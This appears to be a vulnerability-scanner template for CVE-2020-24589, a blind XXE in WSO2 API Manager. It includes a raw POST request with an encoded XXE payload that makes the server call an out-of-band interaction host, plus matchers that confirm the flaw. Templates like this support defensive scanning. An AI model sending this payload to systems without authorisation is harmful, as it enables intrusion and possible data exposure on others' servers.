id: CVE-2020-24589

info:
  name: WSO2 API Manager Blind XXE
  author: lethargynavigator
  severity: critical
  description: WSO2 API Manager 3.1.0 and earlier is vulnerable to blind XXE.
  reference: https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2020-0742
  tags: cve,cve2020,wso2,xxe,oast,blind
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2020-24589

requests:
  - raw:
      - |
        POST /carbon/generic/save_artifact_ajaxprocessor.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        payload=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+a+[+<!ENTITY+%25+xxe+SYSTEM+"http%3a//{{interactsh-url}}">%25xxe%3b]>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "Failed to install the generic artifact type"